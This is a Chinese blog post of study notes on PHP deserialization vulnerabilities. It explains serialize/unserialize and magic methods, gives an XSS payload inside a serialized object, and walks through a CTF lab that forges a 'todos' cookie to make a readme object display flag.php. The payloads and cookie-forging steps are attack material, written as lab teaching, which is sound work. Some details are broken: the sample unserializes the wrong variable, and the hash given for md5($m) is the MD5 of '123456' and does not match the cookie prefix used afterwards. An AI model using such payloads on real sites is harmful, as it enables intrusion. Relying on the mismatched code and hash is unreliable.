愿浪飒精神伴你左右,网络安全之路任重而道远。

PHP反序列化

Web渗透学习笔记 langsa 3年前 (2022-01-18) 689次浏览 0个评论

序列化和反序列化

  • 序列化:将对象的状态信息转换为可以存储或传输的形式的过程。

    把一个对象变成可以传输的字符串(类似游戏存档)。

class S{
        public $test="pikachu";
    }
    $s=new S(); //创建一个对象
    serialize($s); //把这个对象进行序列化
    序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
        O:代表object
        1:代表对象名字长度为一个字符
        S:对象的名称
        1:代表对象里面有一个变量
        s:数据类型
        4:变量名称的长度
        test:变量名称
        s:数据类型
        7:变量值的长度
        pikachu:变量值
  • 反序列化:将存储的东西转换为状态信息。

    把被序列化的字符串还原为对象(类似游戏读档)。

    $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
      echo $u->test; //得到的结果为pikachu

参考:http://pikachu.langsasec.cn/vul/unserilization/unserilization.php

反序列化漏洞

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数(魔术方法),就会导致安全问题

几个函数

1.__FILE__ 获取当前文件路径
2.show_source() 显示文件源码
3.print_r() 输出

几个魔术方法

魔术方法:满足条件自动触发

  1. __construct()当一个对象创建时被调用

  2. __destruct()当一个对象销毁时被调用

  3. __toString()当一个对象被当作一个字符串使用

  4. __sleep() 在对象在被序列化之前运行

  5. __wakeup将在序列化之后立即被调用

漏洞案例
    class S{
            var $test = "pikachu";
            function __destruct(){
                echo $this->test;
            }
        }
        $s = $_GET['test'];
        @$unser = unserialize($a);

        payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

参考:http://pikachu.langsasec.cn/vul/unserilization/unserilization.php

扩展:phar://(php支持的协议) :运用该协议读取文件可以自动反序列化

靶场

1.flag在flag.php中,所以我们需要通过反序列化来将它显示出来

2.下面是源代码及其注释

<?php
Class readme{
    public function __toString()
    {
        return highlight_file('Readme.txt', true).highlight_file($this->source, true); //$this->source:调用$source的值
    }
}
if(isset($_GET['source'])){
    $s = new readme();
    $s->source = __FILE__;
    echo $s;
    exit;
}
//$todos = [];是个数组
if(isset($_COOKIE['todos'])){
    $c = $_COOKIE['todos'];
    $h = substr($c, 0, 32);  //$h是$c前32位字符串
    $m = substr($c, 32);     //$m是$c32位后的字符串
    if(md5($m) === $h){
        $todos = unserialize($m);  //反序列化函数在这里
    }
}
if(isset($_POST['text'])){
    $todo = $_POST['text'];
    $todos[] = $todo;
    $m = serialize($todos);
    $h = md5($m);
    setcookie('todos', $h.$m);
    header('Location: '.$_SERVER['REQUEST_URI']);
    exit;
}
?>
<html>
<head>
</head>

<h1>Readme</h1>
<a href="?source"><h2>Check Code</h2></a>
<ul>
<?php foreach($todos as $todo):?>   //将数组变成字符串,
    <li><?=$todo?></li>  //<?=$todo?>//是<?php echo $todo?>//缩写,输出点,
<?php endforeach;?>
</ul>

<form method="post" href=".">
    <textarea name="text"></textarea>
    <input type="submit" value="store">
</form>

3.通过$todo输出$a->source='flag.php';来触发$this->source从而显示flag.php

4.构造需要触发的$todos,那么$m=a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}image-20220118193604057

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-k1FctLWQ-1668436711768)(https://s2.loli.net/2022/01/18/7CiPvEtlVX915Gr.png)]

5.从代码可知我们需要使得cookie满足一定的条件

条件:

$c=$h.$m

md5($m) === $h,则$h=e10adc3949ba59abbe56e057f20f883e

所以最终条件是将cookie设置todos为如下

e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}

6.将上述字符串url编码后填入cookie得到flag

image-20220118195558464

image-20220118195644379


本文标题:PHP反序列化
本文链接:https://blog.langsasec.cn/index.php/2022/01/18/phpunserilization/
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
喜欢 (2)
[]
分享 (0)
langsa
关于作者:
一个网络安全从业人员
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址